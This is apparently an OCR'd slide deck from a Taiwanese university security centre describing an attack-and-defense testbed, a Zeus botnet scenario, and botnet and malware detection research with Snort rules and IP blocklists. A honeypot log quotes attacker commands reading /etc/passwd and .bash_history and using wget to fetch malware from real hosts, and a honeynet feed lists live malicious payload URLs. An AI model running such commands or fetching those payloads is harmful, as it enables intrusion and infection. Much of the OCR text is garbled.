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Outline

» Introduction to Testbed@TWISC
» Attack & Defense Platform
» Network Threats Research

o Fighting Malware & Botnets — Systematic
Approaches

o Fighting Malware & Botnets — Defense
Countermeasure

» Knowledge Base
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/ TWISC Project

» NSC to foster information security status, Initiates the
TaiWan Information Security Center (TWISC) In

April 2005.

» Objectives:
» Boost information security research and activities

» Promote public awareness _ _
» Foster partnership among government, academic and industry
» Seek international collaborations to build a ubiquitous secure

community.
» Established three affiliated regional centers in
universities: .
o TWISC@NTUST
o TWISC@NCTU
o« TWISC@NCKU
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mmwww TWISC@NCKU MISSION

NETWORK THREATS Develop technologies for network threats
DETECTION detection including malware behavior, botnet
detection, fast-flux detection, eic.
DEFENSE Q Implement defense systems to counterattack
COUNTERMEASURE network threats
ATTACK & DEFENSE Design an integrated network attack and
TESTRBED 0 defense platform to reproduce attack
scenarios.
KNOWLEDGE BASE Q Collect and provide datasets for supporting
advanced research and skills training.
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TWISC@NCKU' s Research (@i
Teams

» TaiWan Information Security Center at
National Cheng-Kung University

» Prof. Chu-Sing Yang (NCKU)

Prof. Hui-Tang Lin (NCKU)

Prof. Jung-Shian Li (NCKU)

Prof. Jinn-Shing Cheng (NKFUST)
Prof. Chia-Mei Chen (NSYSU)
Prof. Han-Wei Hsiao (NUK)

Prof. Ping Wang (KSU)

Prof. Tung-Ming Koo (Yuntech)
Prof. Bo-Chao Cheng (CCU)

— s . P . S D

@ QO & & @ & & 9




TWISEANC

N

National Science Council

7= Testbed@TWISC

» The testbed is a platform:

» Provide a simple web interface for user to request
resources to create experimental topologies

» Build network security and large distributed
application experiments
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~-&7-Requirements of Testbed

Closed environment for

Own root security testing
control Each experiment is
privilege of Isolated exclusive from others.
experimental

resources / \

. Real machine
il Controllable N Not simulation,
software Sandbox
can be |

installed

according to Capable of recording
the experighe
requirement of Scalable S Recordable \

users.

Easy to design different 52?%%@ '

- L_ggology for testing 1
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. Testbed@TWISC Milestone

Attack & Defense Platform Sep 2011

e

206-220 nodes extendin
! gep 2010 ~

198 nodes extending
,~ Mar 2010
155no0des :
e 155 Nodes extending peac 2008
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123 nodes extendiv/g Apr 2008
e —
82 nodes y
i — Jul 2007

16 Nodes Testbed
Jan 2006

—

Got authorized Emulab software Jul 2005
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Testbed@TWISC
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How to do Experiments in @ iznessssns
Testbed@TWISC

Users can remotely access
nodes to do experiments

Draw the network topology
and OS of each computer
(node). Then, configure all

nodes automatically.

Centralized computing
resource to support users



1

22 Taiwan Emulab Testbed @:enszsn
/ http://testbed.ncku.edu.tw/

Current Experiments

g et EHERRY e FRECTER JES

based on Emulab ‘-@ SN reeec e [P SRESRTUESE. A
Ielohtion Testbed@TWISC - Network Emulation Testbed Home ~ vem:41e0suc ouasaes A7 30 504Pm CST

Home

Utah Emulab

News (April 16) KAAE: 27 4sBAE: 980 oA E:380 g \g:380
Emulab Documentation

Testbed Documentation News

Experiment List

Project List o [RifEE]Esnmpit timeouti &% E¥swap inZMEERR, B
Software AERETRR

Q&A o [RREAFIRBERMARREKRAERENswap inZ R
Team Members o [RENEINFSTIREC R

Projects on Testbed o [RFERIJANFINEIRERKLER B swap inHINZFE

. - o HfAE, FHRNews

Search Documentation

[ Request Account

0

J ]D/ N

Discussion

REFHNRNERUEAEREEMRN, TRARNHNERSE, BEENRENAXRARATERR. EFEFNREHNE. K-
AR, §ﬁ§ﬁg};§e§¢ﬁﬁ, NARAHBNRENFREEEE, ROAELHNREES. 8E REARFEHIFEIHEMA
E: EB ?E E [ °

We have provided a forum to pose questions and share information with other users. If you can’t find the Administrator
when you run into problems, you are welcome to leave a post. Forum members with ability or experience with related
issues will be glad to answer your question. A Google email account is required.

ta7\ Testhed - 12
““e) oramen Google @ st > TsEstAE
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4 Outline

+ Introduction to Testbed@TWISC
o Attack & Defense Platform

» Network Threats Research

» Fighting Malware & Botnets — Systematic Approaches
» Fighting Malware & Botnets — Defense Countermeasure
» Knowledge Base

+ Future Works
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W Attack & Defense Platform

» Qperating environment and network service

infrastructure
+ Users can deploy an environment of attack and defense
rapidly.
+ Create an isolate network for security issues.

» Knowledge database and tools/library

« A knowledge base for basic operation (e.g., Internet attack
methods)

+ Necessary attack/defense mechanisms and tools.

» Attack/defense methodology and scenario,

+ Scenario, attack/defense mechanism, backgroun'd)trf:.
network topology, measurements and metries .+ *‘“/;af =

.+ Usetemplates which is generated by platformor us‘ér, s e e
I ——
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Attack and Defense Platform
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Attack and Defense Tools Datebase
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TestbeadQ TWISC Introducticn
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Exploit 1%~ - MS10-061 ' FUCS TEMKNBES , TNRTRN
AT AT
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Victen

Name P10 Description

Anack_tools_01 crypaciab & 20099 o%¢ w
BlacksunCC lemwilabops  BlacksunCC

BlacksunMastor erlab-ops | BlacksunMaster

BOTNET-DOOS SecurtyCamp BOTNET-DDOS

|CenTossssTO lemulab-ops | Testbed version of CentOS 5.5 32-bt image.
CUSFC6 cpiclab | CUSFCS-

ExtensionXP cryptolab |ExtensionXP
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Attack and Defense Platform

Malicious
WebSite

N
Hacker

@metasploit®
EXPLOIT

Attack Side

Defense Side

Inside Threat

Scenario

Experiment cryptolab/TWISC-Project

User.

serd(pc3000)
10.10.2.1

T100Mb_

InsideThreat (pc3000)
10.10.2.3

Attacker.

UserZ( 3000)

EIalWebSi te,2(pc3000)
10 ? e

ﬁttackeri(pc%b‘d‘{

10.10.101.1
_Anoms” “fooms.
router(pc3000)
w uo 1021, g

NalWebetel(pc3000) 1° “' T

10113

Attacker2(pc3000)
10.10.102.1

fulpc3000)
10.10.2.200

10, 10,5200
10. 1“@’

@ ."'mon_b_\
oMb
o 1
. | Serverzepc3000
10.10.1.3
Web(pc3000) .

10.10.1.1

Server Farm

Serverl(pc3000)
10.10.1.2

e
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Exploit / Attack / Defense Tools Database

Collection Source: :
http://www.securiteam.com/ My Emulab  ou are using 14658 s Spgmer——fuu an L ERCH

http://lwww.packetstormsecurity.org/ %
http://Iwww.exploit-db.com/ ... etc. .

cryptolab | TWISC-Project active fense
TWISC-Project |Start New Project

Attac k & Duefen S e TO 0 I S cryptolab tont active JJoin Existing Projec } test

st Data | Search TWISC-Project- TWISC-Project for making

m

cryptolab|. swapped 1 .
[(EBER21 /AR B18- 28 MOH image images
Type Ticle GHOB|Publsh Author cve Platform] 1. Mode counts in green show a rough estimate of the minimum number of nodes required to swap in.
Lnk |Date They account for delay nodes, but not for node types, etc.
2. A ?indicates that the data is stale, and at least one node in the experiment has not reported on its
2011- CVE- proper schedule.
Remote Adobe Flash player Action script type confusson exploit N/A 00-00 www.abysssec.com|2010- window:
3654
[ Flux Research Group ] [ School of Computing ] [ University of Utah ]
flemote Zeus Botnet N/A 2010- Unknow N/A window Copyright ® 2000-2011 The University of Utah
07-08 Report Bug, Gripe, Request Feature -
AttackTool| DoS tools : LOIC wa (201 o N/A windon I : C
X 06-06 5 06-20
S WA 227 nknom PR O Py =il Staff access only, Type:
07 "
2009- ! 2011- ° R t /L I | t
AttackTool |HTTP DoS Tool WA 0000 |OWASP N/A windows|3.6 20 emote/LoCca eXp OIlS
Remote |[MS09.001 Exploit N/A 2009- Unknow N/A windows 2011- ° 1 1
eb Application
. ey )
MS08.066 Windows Kemel Ancllary Function Drver Local Priviege 2008- s 2011~ %
Local N/A SoBelt N/A dows D
o Escalation Vunerabity Expioit VA 110-14 é ey 06-20 ° 8 C =
2011- s 2011- :
Remote MS511-050 IE mshtmliCObjectEloment Use After Free N/A , |metasplon 2011 windows | N/A
06-17 06-20
1260
- . 2011 2011-
DOC/POC |Adobe Reader/Acrobat 10.0.1 DoS Exploit N/A 06-16 Soroush Dol N/A windows |N/A 06-20
Adobe Flash Player 10.2.153.1 SWF Memory Corruption 2011- CVE: 2011-
2. A 2 ; , ”
Remate Vulnerabiity N/A 04-16 metasplon 2011 windows | N/A 06-20
0611
TWISCENCKU



http://www.securiteam.com/
http://www.packetstormsecurity.org/
http://www.exploit-db.com/
http://www.exploit-db.com/
http://www.exploit-db.com/
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Attack Scenario - O Mt e

Botnet Combine with MS12-043
Zesu Bot Q&C

O

.10.104.1

| / Bot.exe
> @
Malware Website

10.10.102.1 @

Bot.exe

\ 1 BN

%%@ Victim
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Zeus Botnet C&C Interface

(:)) TRRERSAERY

[ € cP:Bots A =
« C' | © localhost:8080/cp.php?m=botnet_bots
Information: B

Current user: admin

GMT date: 28.09.2011 Bots: NAT status: \Outside NAT H\
GMT time: 07:27:35 .
— T Only online bots: \Yes H\
Statistics:

- B

IP-addresses:

|
|
‘ Only new bots:
|

Summary Used status: - -
0s Countries:
Comment: - B‘
Botnet:
. | Reset form H Accept ]
Scripts
Reports: Result (1):
Search in database Bots action: Full information | >>
Search in files e
Jabber notifi u#| t Bot 1D Botnet _[Version[1Pv4 _ [Country|Online time|Latency]Comment ||
abber notitier 1 1 PC149_7875768F1DF2C643 -- default -- 2.0.8.9 10.10.2.3 -- 03:13:38  0.515 dir c:\
System: Full information
Information Full information + screenshot
Options Today reports
User

Reports for last 7 days

Users Files

Logout Remove from database

Remove from database including reports
Check socks

Create new script

0

E U~ =~ =~ =Y~ =~
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Defense Scenario

Update & Patch
r y l @‘

Network Manage

—| NI S/NIPS

Malware
Website

_
HIDS/HIPS

NIDS/NIPS

N
Server ACL System Monitor
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Zeus Botnet Detection Rules

#¥Snort Rules for Bot Shaker
s sS S ES S S SSESsESEEEES S S E S ESEE S EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE R
####é#### i #ﬁ i#### LRSSttt afdens

nort

i

#C&C Server Communication

$ -

alert tcp any any —> any B0 (=id:10007: Toota:hotnet . Toao: mea:"ATFERT: Boat attemnting to

locate C&C Server on port BO (TCP) de#!/bin/bash

_ C o IPTABLES="/sbin/iptables"
alert tcp any 80 -> any any (s5id:100C; . 1oy_"prop"

connected to C&C server on port BO (TIcgaty="1nmpuT"

alert tcp any B0 -> any any (sid:100C#4#43434 3454445 FFEFEFEFHH 844 H 4 H 4 H 0 H R R EHHF 444343444444 FHF 1154

additional components detected on pc# abuse.ch ZeuS IP blocklist for iptables #
#

L LL Iy #
content:"#BLACKLABEL";) # For questions please refer to https://zeustracker.abuse.ch/blocklist.php #

R R R R R R A A A A A A

¥ SIPTABLES -A SCHAIN -s 109.127.8.242 -j SACTION

CAPTCOHZ Component detsction SIPTABLES -A $CHAIN -s 109.127.8.246 -j SACTION
# cmp © SIPTABLES -A SCHAIN 109.169.58. 188 .] SACTION

# —mmmmm oo SIPTABLES -H S)HZ
alert tcp any any —> any 80 (sid:100CsipTapLES -2 E r ﬁg Wa
available CAPTCHA to solwve (TCP)"™; Ccc$SIPTABLES -A 5CHA SACTIO

alert tcp any any —-> any 80 (sid: 1DDC$HWMMES—A$CMHN—312415013238—]$AUHON

to CAPTCHA (TCP)"; content:"GET"; cor i lBABLES _PEF ﬂs\rE ﬁ‘t QﬁCTIORu I eS
sC CTIO

STPTABIES -
$IPTABLES -
SIPTABLES -A SCHAIN -5 149.154.152.254 -j SACTION
o o $IPTABLES -A $CHAIN -5 151.97.190.239 -j $ACTION
VRT SI]OI't OfflClal RUleS $IPTABLES -A $CHAIN -s 173.230.253.193 -j SACTION
$IPTABLES ~A SCHAIN -5 174.133.24.18 —j $ACTION

" IPTABLES -A SCHAIN -s 174.136.1.54 -j SACTICON
Alerta: "SPECIFIC-THREATS Zeus/Zbot malware confg STPTABLES -A SCHAIN -5 176.215.68.57 ij SACTTON

. R _ SIPTABLES -A SCHAIN -s 176.215.86.120 -j SACTION
Alerta: "SPECIFIC-THREATS Possible Zeus User-Agent STPTABLES -A SCHAIN -5 176.9.11.125 ~j SACTION

Alerta: "SPECIFIC-THREATS Possible Zeus User-Agent gigglﬂgg fi ggﬁﬂ -8 1;2-3-;385201_ ;gcii‘l!glgION B
Alerta: "SPECIFIC-THREATS Possible Zeus User-Agent s1pTasiss -a SCHAIN o 177:8:16é,23]—j SACTION

. SIPTABLES -A $CHAIN -s 178.159.240.240 -j S$SACTION
Alerta: "SPECIFIC-THREATS Possible Zeus User-Agent SIPTABLES - sCHMN - 173 17 166 218 -5 sMTION

P =l = = U= U 2P =y =R ==
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Future: Offensive-Defensive Cloud
(Platform as a Service)

» Attack & Defense
Database

+ Fast, Customized
Attack & Defense

Scenario

« PaaS
Offensive & Defensive ' Hm

T

Scene Design
Security testing for @ §“EEE@

new Device € <

» Develop New Threat i

: tasploit [ e
Solution 3

s tE/ L2k E
ThisRIER
(Test’” s New Device

Tester
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» Introduction to Testbed@TWISC
» Attack & Defense Platform
» Network Threats Research

@ Fig

nting Malware & Botnets — Systematic

Approaches

® Fig

nting Malware & Botnets — Defense

Countermeasure

» Knowledge Base
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Fighting Malware & Bothets—
Introduction

» Develop a systematic approach to fight
malwares and botnets including three
workflows.

- Data Collection: Use honeypots
technologies to collect malwares and
botnet events.

» Threats Detection: Develop detection and
analysis methods on threats recognition

- Defense Countermeasure: Implement y




ITHREREAERY

Workflow on Fighting MaIV\f’a)F‘é"“‘a"““”’
Rotnet

ATA 'DEFENSE
l_ OLLECTION / THREATS HENECIIN COUNTERMEASURE

HoneyC mgPots

Threats Events Crawllng Malwa'e-Samples

DPI System for
Blocking Botnets

Malware
— - - Classification
: ;":h'a‘"v’i: Using API Call
) | analysie |\ maticious POF et
Analysis
=) . ly
1
1

Adaptive Fast-
Flux Detection

Measuring the
Scale of P2P
Botnet

Ontology
Analysis on
Botnet Traffic

‘ATI'ACK & DEFENSE TESTBED P IKNOWLEDGE BASE ~

Botnet Spying on
SSH Botnets
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Network Threats Detectio

Data Collection - Bashpot

= B 7T 2K P a3
n' ( National Science Council
[ ]

» Bashpot s a high-interaction honeypot to
collect bash attack events on Linux System.
» Designed to log brute force attacks
» Record entire shell interaction performed by attackers.
» Commands whitelist protects real file systems

‘rj" ‘AAttacki ng




Network Threats Detection:
ollection — Bashpot (Cont.)

Data

rm -rf ReM.jpg 2012-03-16 23:35:52
Is —color=auto -a 2012-03-16 23:35:53
id 2012-03-16 23:35:55
uname -a 2012-03-16 23:35:58

cat fetc/passwd

2012-03-16 23:36:05

Is -—color=auto -a

2012-03-16 23:36:09

cat fetc/hosts

2012-03-16 23:36:15

uname -a

2012-03-16 23:36:18

Is —-color=auto -a

2012-03-16 23:36:19

cat fetc/issue

2012-03-16 23:36:24

Is -—color=auto -a

2012-03-16 23:36:27

cat .bash_history

2012-03-16 23:36:33

wyget

2012-03-16 23:36:50

Is -—color=auto -a

2012-03-16 23:36:59

cd fvar/spool

2012-03-16 23:37:02

Is —-color=auto -a

cd plymouth

Is —-color=auto -a

wget
p——

SndoAn de D2.3703

wget http:,.f,.fradio-ardeal.eu,.fcachefu{rhn erbar_empaorium.gz

2012-03-16 23:37:31

wget http://46.102.253.181/cache/wunderbar_empaorium.gz

2012-03-16 23:37:54

cd ftmp

2012-03-16 23:38:05

Is —-color=auto -a

2012-03-16 23:38:06

cd Is

2012-03-16 23:38:09

Is —-color=auto -a

2012-03-16 23:38:10

cd -

2012-03-16 23:38:15

cd ICE-unix

2012-03-16 23:38:18B

Is -—color=auto -a

2012-03-16 23:38:19

wget http://46.102.253.181/cache/wunderbar_empaorium.gz

2012-03-16 23:38B:26

id

National Science Council

: MDS URL Describe
1| 26c284e8RATade 4460480700 | it/ dtestrariycz CESKY TELECOM, AS.
2| 73563038 1chedcatbas02adss00eag | NP 0-<TebbeaztbedDoglpnddwhan- o yine pg

playf

SoftLayer Technologies Inc. SOFTL 1950 N Stemmans Freeway

3| (797d5537957351d2e30717b0f04ech5 | hitp://xat.com/amistadesdelmundo Dalles T 75207

4 | 77d61930136¢6926084b87557b4aze5 | http://www.last.fm/forum/21713/_f2192327 | Cotendo Inc.

5 | 57669b22794bc0ddfc903e52b395d6b8 | http://www.heungindang.kr LG DACOM KIDC

6 | 91c3517M98b2a3d94b934fTbB675d0e | http://www.adocean.pl GEMIUS S.A.GEMIUS SA
7 | 20d32486e20dced3b5c3b2ff7559e37d | hitp://www.adocean-global.com GEMIUS S.A.GEMIUS SA

B | 3806139601205 13082124445c 16651 | itpyfwpscom Vestr ntemet 1.0 MASTER-NET-3
0| 528900033495 1908d1002258b191a | ity fvento2225ve.co.ce &E'H’;E‘f“lhz’g"“gm lHcAGE2 20 place G Cornerce Moo
10 | Ghabd7dBaddoT3aB eafe71c00éd3e | hit:)jstagams.cony st Inc WS THOAGHN Soens e Proscencel ]

64332

Record Complete shell
Interaction performed by

attackers

2012-03-16 23:39:31 N e



Network Threats Detection: Data Col

Crawling & Sharing Information

HoneyCloudingPots on NFUST

Data Publish-Su-Bgcribe sharing
from The Honeynet Project
(47 countries publish data to

| Binary sink | |AnaJysis source |

Subscribg binaries
Publj

Publish Dorks/URLs

HP Generic Datafeeds

subscriba, binaries

analysis

Attackinio sink

Binary sink

Honeebox Webinterface

David

Honeynet Logs

National Science Council

ction

Use Splunk to index and

store all data

BR1M2 [2612-08-21 21:37:27,006] [INFO] Tue Aug 21 21:37:27 2012 PUBLISH channel = thug.files, identifier = g6jyo@hpi, url =
9:37:27006PM http://sitesnamesssearchers.biz/spl_data/rgeowuczau-a.wvubyuwew.jar, mdS = 5¢1e2759abb895f769750ca835efed76, shal =

15dab76d7f5f9ed4924521506F1cB6@188d6a8e2, type = JAR

ype=thug files - |

)_files_logsfhug_files_logs ~ | sitehost=sitesnamesssearchers biz
wUbyuWew JaF + | md5=5c1e2759a00895769750ca035efed76 - | type=UAR ~

n 82112 [2012-08-21 21:32:13,958] [INFO] Tue Aug 21 21:32:13 2012 PUBLISH channel = thug.files, identifier = g6jyoghpl, url =
9:32:13.858 PM

http://178.216.52.79/data/field.swf, md5 = 9f3fbSfefefd2l2carcBdfddad?6flal, shal = 4fe314cb96a3282cad663b687195067ddeThebed, type
WF

ype=thug files - ) files_logsihug_files_logs - | sitehost=178.216.5279 ~
| url=http/178.216.52.79/dataffield swi + | md5=8f3f5lefefd212cacdfddad76fal - | type=SWF ~

n 82112 [2012-08-21 21:32:13,486] [INFO] Tue Aug 21 21:32:13 2012 PUBLISH channel = thug.files, identifier = g6jyoghpl, url =
9:32:13.406 PM

http://178.216.52.79/data/field.swf, md5 = 9f3fbSfefefd2l2carcBdfddad?6flal, shal = 4fe314cb96a3282cad663b687195067ddeThebed, type

= SWF

ype=thugfiles -
| url=http//178.216.52.79/datalfield swi + | md5=0f3fb5fefefd212ca7cBdfddad76Mal ~ | iype=SWF

8R112 [2612-08-21 21:32:85,487] [INFO] Tue Aug 21 21:32:@5 2012 PUBLISH channel

= thug.files, identifier

ogsihug files_logs ~ | siiehost=178.2165279 ~

= q6jyo@hpl, url =

shal = 14

93205487 PMhttp://178.216.52.79/w.php2e=5&F=07d19, md5 =
type = P

s v |

BR1M2 [2612-08-21 21:32:62,926] [INFO] Tue Aug 21 21:32:62 2012 PUBLISH channel
9:32:02.826 PM http://178.216.52.79/w.php?¥=07d19ke=2, md5 = aeb392a@621cleda2i!

type = PE

ype=thug file ) files_logsihug_files_logs +
| uri=htips/178.216.52.79M php?e=5 = | md5=aeb0392a06f21c0ed421570e268ecBa2 ~ | lype=PE =

= thug.files, identifier

= g6jyo@hpl, url =

shal = 14,

gfiles |

) files_logshug_files_logs ~ | silenosi=178.21652.79 ~

yp
| uri=htips178.216.52 70w php?=07d19 ~ | mc5=aeb0392a06121c0edé21670e268ec8a2 » | ype=PE =

BR1M2 [2612-08-21 21:32:01,559] [INFO] Tue Aug 21 21:32:@1 2012 PUBLISH channel = thug.files, identifier = g6jyo@hpl, url

9:32:01559PM http://178.216.52.79/data/apl.php?f=97d19, md5 = 9adc2a6c544d6951352FF971672310b, shal = 678cBA4996975a6610801585h257972734662b8,

Malware 3 Count 3

Last Seen -+

Urkto-collect-malware 3

0005f892ed32a6e1a3deSaac22f032d8 2
01640021784ee8019ed01937fdb399 2
020b0b477706596e7 1de25286ed 77991 48

02db2d914f3440ee7d7c927ae 1353241 2
04067eBacd65ef4025M03MbBdBI36303 2
05561e2d8de25904a0c360a76cd90c13

08/0312 20:10:04
08/03/12 19:08:36
081912 07:62:26

08/2012 20:52:33
08/03/12 16:47:08
08/19/12 07:49:24

http:/iwww.youtube.com/vipBcjoJFB-EY 7version=3
np /www.youtube.comAMXBY TAIOGA?version=3

hitp:/f174.140.163.184/data/Pol jar
http:/1174.140.171.183/data/Pol jar
http://198.143.159.124/data/Pol jar
hitp://199.195.116.139/data/Pol jar
hitp://209.59.216.120/data/Pol jar
hitp:/208.58.219.106/data/Pol.jar
hitp://208.58.219.112/data/Pol.jar
http://212.58.20.11/data/Pol.jar
http://46.243.37 103/data/Pol jar
hitp://46.249.37.124/data/Pol jar
hitp://66.175.222.60/data/Pol jar
hitp://66.228.59.69/data/Pol.jar
hitp://69.194.193.146/data/Pol.jar
http://69.194.196.15/data/Pol jar

| sliehost=17821652.79 ~

381

http:/iwww.youtube.comAvJXBYTdHIOCA?version=3

hitp://174.140.163.184/data/iQal jar
hitp:/f1174.140.171.183/data/Qai jar
hitp://198.143.1569.124/data/Qai jar
hitp://198.185.116.139/data/Qai jar
hitp:/f208.58.216.120/data/Qai jar
hitp://209.59.219.106/data/Qal jar
hitp://209.59.219.112/data/Qal jar
hitp:/f212.58.20.11/data/Qai jar
hitp://46.248.37.124/data/Qai jar
hitp:/66.175.222 60/data/Qai jar
hitp://66.228.59.69/data/Qai jar
hitp://69.194.193.146/data/Qal jar
hitp://69.194.196.15/data/Qal.jar
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Network Threats Detection:

Malware Behavior Analysis

National Science Council

» MELBED: Automated dynamic malware Behavior Analysis
at real machines on Testbed@TWISC

» Improved Cuckoo: Improve malware behavior signature
summary based on Cuckoo Sandbox. Behavior signature
summary can increase

fs Ol W TAEEN | BAxTH | EfEsEs
shaise
suasee AT ATI NIRRT IAR SRR TTIRA RSP P0PES
ey
SEC Tionaturas:  None metches
R VI- | Threat
x MD5 Describe scan | Expert | Reportl Report2 | peap =1 :
21| 10BBGe7SD2bcecrSieGEae TIsRag | Sonorks nc: CONET 130 o Robles San Jose CA | gy e
CDNetworks Inc. CDNET 130 Rio Robles San Jose CA 2012- * Create new files on file system
22 | 64953c5bR20M314209e80ce02aBbe [ oot e VI | Threat S AR e e e g
CDNetworks Inc. CONET 130 Rio Robles San Jose CA 2012- S ; B g
23 | B1812b9bad1e1bafe7902Be2a5ca043a [ o) e VT | Threat e * Boot Section infecting .
T —
CDNetworks Inc. CONET 130 Rio Robles San Jose CA 2012-
24 | 472456cabAc20Tal 7264T0a0e3145cc [ 001 VT | Threat e
CDNetworks Inc. CONET 130 Ria Robles San Jose CA 012
25 | 5abe2r551e001B094ceB864420909M0 | gy VT | Threat i
CDNetworks Inc. CONET 130 Rio Robles San Jose CA 2012-
26 | 26c4c23939¢711520776761¢526681d | g1 3g VI | Threat i
CDNetworks Inc. CONET 130 Rio Robles San Jose CA 2012-
27| 34d00b5e1103756958b6404496M9c552 | ooy 5y vr Threat 1108 e en oy BN e AN A NBS T atseh S A4 ok b b b 548 G €
CDNetworks Inc. CONET 130 Rio Robles San Jose CA 2012-
28 | d4460908b769324954111117dB2TGCh | oo VT | Threet e
CDNetworks Inc. CONET 130 Ria Robles San Jose CA 012
29 | 3c2Ae0057d12d0807542462265836 | oo VT | Threat T R
e o e o e e L o e Ny e o i S
30 | 2f75¢c316b10c9b712343806ee75014 | gt 2e VI | Threat i
#507PHEE 55 (10 ¢ ¥ Bl yse8x 4¢/[¢r eond [0 g3 ]
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Network Threats Detection:

Adaptive Fast-Flux Detection

Development of adaptive malicious domain
detection technology can be quickly changed for
different types of malicious Mobility domain (Fast-

Flux) for detection and tracking

Proposed to improve the existing Fast-Flux
technology to detect delay

o Traditionally, each of a FAST-Flux Detection consuming more

than 5 minutes
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Adaptive Fast-Flux Detection (cont)

/

Offline Initialization Module (Server) \

Benign Domains — : Best
FF Domains SOl : Strate
Database gy

\ 4

Unknown
Domain

Calculate with Detection
—| sy |— AR

N

Online Detection Module (Client) /

Fast-Flux Detection System

@ﬂ—k IP Extractor

Weight-
| asmvouey || O Modules:
- IP Extractor
E-DPN _| FFSN Detection ° AS N Fea t u r c

Module

Engine

SD-RTT
Module
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Network Threats Detection:

Adaptive Fast-Flux Detection (cont.)

{RRI Lt Fast-Flux IP

2012-09-

19 charmingprincess.net | [178.47.11.119, 219.19.188.136, 218.103.158.253, 27.42.174.230]

14:56:33

2012-09-

18 adultdatingcenter.net | [174.138.214.,233, 95.139.78.214, 85.221.222.166, 77.45.30.53, 46.241.166.218]

20:12:28

2012-09-

18 aboutflirtlove.com [95.139.78.214, 77.45,30.53, 174.138.214.233, B5.221.222.166, 46.241.166.218]

20:11:20

2012-09- [B7.230.55.18, 87.230.56.95, 87.230.56.97, 18B.138.0.103, 217.115.153.88, 217.115.153.90,

18 ashampoo-14.com 217.115.153.92, 217.115.153.94, B0.237.152.63, B0.237.153.21, B80.237.154.35, 83.169.60.31,

20:10:49 85.25.120.74]

2012-09- [B7.230.55.18, 87.230.56.95, 87.230.56.97, 18B8.138.0.103, 217.115.153.88, 217.115.153.90,

18 ashampoo-14.com 217.115.153.92, 217.115.153.94, B0.237.152.63, B0.237.153.21, 80.237.154.35, B3.169.60.31,

20:09:55 B5.25.120.74]

2012-09-

13 140.116.221.29 [140.116.221.29]

16:47:10

2012-08-

31 alldatingbreak.com [B1.198.241.40, 222,106.31.112, 119,175.226.249, 219.19.188.140]

14:32:04

2012-08-

31 google.com [74.125.31.138, 74.125.31.113, 74,125,31.139, 74,125,31.101, 74.125.31.102, 74.125.31.100,
p— ’ 2404:6800:4008:c00:0:0:0:66]

13:03:51

2012-08-

31 adultdatingcenter.net | [188.17.38.223, 119.17

13:02:47

2012-08- [69.171.234.21, 69.171

31 facebook.com 2a03:2BB0:2110:3f01 face’bulCIEL, ZalsiZeBUr LIUNHTU LTaceoluuciuy,

12:27:31

2a03:2880:10:8f01:face:b00c:0:25, 2203:2880:10:cf01:face:b00c:0:0]




Botnet communication patterns and behavior

Network Threats Detection:

Botnet Flow

.. 4

—_—

Search
Statement “  Domain Property Range
501 Botnet_Waster hasVictims Victim
s02 Botnet_Waster Eolllaster@enavior Bot_FlowKeys
503 Botnet_Waster hasFeatures Bot_FlowKeys
Bot_Behavior
S04 Bot_FlowKeys hasNumberVictim C&C_Server
805 Bot_Behavior Bol_Classifications IRC_Bat
P2P_Bot
HTTP_Bot
FastFlux_Bot
306 Bot_FlowKeys FlowKeys_Features s
ConnectionNumbers
Protocol
Source P
Destination/P
SSSSSS Port
DestinationPort
507 Protacal hasProtocal P2P
HTTP
[T
upP
TCP
308 C&C_Server hasControl victim
509 SourcelP hasHTTP Destination|P.
SourcePort DestinationPort
810 Source P hasP2rP Destination/P
SourcePort DestinationPort
811 SourcelP hasICMP Destination!P.
SourcePort DestinationPort
s12 SourcelP hasUDP Destination|P
Source Po DestinationPort

- ~
@ Protocol — r

=
@ SouceP £ X
=

—_—

\

Noxzm
& ovammire \ o]

. e i
o XiF 2

4

National Science Council

Ontology Analysis on Botnet Traffic

In order to find out more relevance between known botnet flow,
we use ontology to present relationship of botnet flows and
inherent potential bots communication.

i

lowkeys

e
H

$ 06016317524

R
T

4 1401161639

Potential
Botnet
Traffic

hot =g

1 @ ceamp.c_sener .
/N

/

/

/

/ 4

[:]

# 059002221209

# 8528311768

# 188165158131 z

DY T

4 069175054106
2ol . —|_# 221002208045

g . 7.0
$ 183063031122
N



Network Threats Detection:

Measuring the Scale of P2P Botnet

+» Estimate P2P botnet for
the DHT network
architecture

» Using Capture-
Recapture Method to
estimate botnet size

» Experimental
environment on
Testbed@NCKU

P2P Botnet
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Network Threats Detection:
Measuring the scale of P2P botnet (cont,)

« Peer list collection module

i : Peer listii & 48
» Compose by Peer list collection nodes eer listHl A=

» Collect information from nodes

N S
Peer list WEEENRS  Peer list UE28A%8L  Peer list UREEER 2L

o Peer list analysis module

o Analyze information from nodes Y
Peer listo #1548

o (Calculate the duplicate nodes

» Mark captured nodes Y
A A

« Estimate size module

» Parameters from the the Peer list analysis module
use the proportion of node capture - recapture to

estimate the size of the entire P2P Botnet




Network Threats Detection:
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National Science Council

Measuring the scale of P2P botnet
(Cont.)

» Research Results:

» The figure can be found in

the the ninth capture -
recapture estimated
quantity is gradually was
gently growth
phenomenon.

o Inthis study, can indeed
reduce to observe the
Botnet the time, can
quickly determine the
number of infections. -

LR L

=—=—DAY1

1584

2640

2738

== DAY2

24938

2876

2971

=sle=DAY3

2011

2528

3000

= DAYA

2305

2303

2748

== DAYS

o T e e Y s e O

2872

2560

2818
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Defense Countermeasure:

DPI System for Blocking Botnet

e TP By 1 o
DB JTEL IR M 3 F
National Science

()

» Build a Deep Packet Inspection (DPI) system based on
Netfilter for detecting malicious threats including
Botnet flow and Phishing website.

» Detect malicious traffic by multi-pattern matching and
tracking connections for monitoring and statistical

analvcic
Inline Mode

? Offline Mode
N |

Net-DPIS

DPI system
Core switch

N
0
N
S i T ey

- A r.""’“'\..‘-'*'—»*‘l{\ =
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Netfilter Native Hook

Netlink flow

—— Packet flow

Local network services

Lsniffar process | | network service process
A

iptables

LUSET spdie

kernel space

L
Netfilter framework

Input Output

1 !

PreRouting |—» Forward = PostRouting

#
i

discard J(—"

packet_rcv

Network Device Drivers




DPI system

C Web Interface J Local network App. Service
- r
[DP[ RepnrterJ Service contfol (~ MIB/ Private MIB )} SNMP Agent
( Database ) [DP[ Listengr
= . [I}P[ trapperj [ SNMP trap message ]
Upddte MIB
i PROMISC hook
i DPI module | Netfilter native hook
[ ‘] v
R
ccord [ Event handler ] A
ip_rev
Rule matching yes ﬁ
! N0 BT MACH
[ Pattern matching H Connection tracking ]‘ lacalhost '\7
\ /| Network device | p
—— — . . . WIS 0N e
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System Architecture of DPI System

O Connection tracking

{ Web Interface )
DPI Reporter
DPI Listene

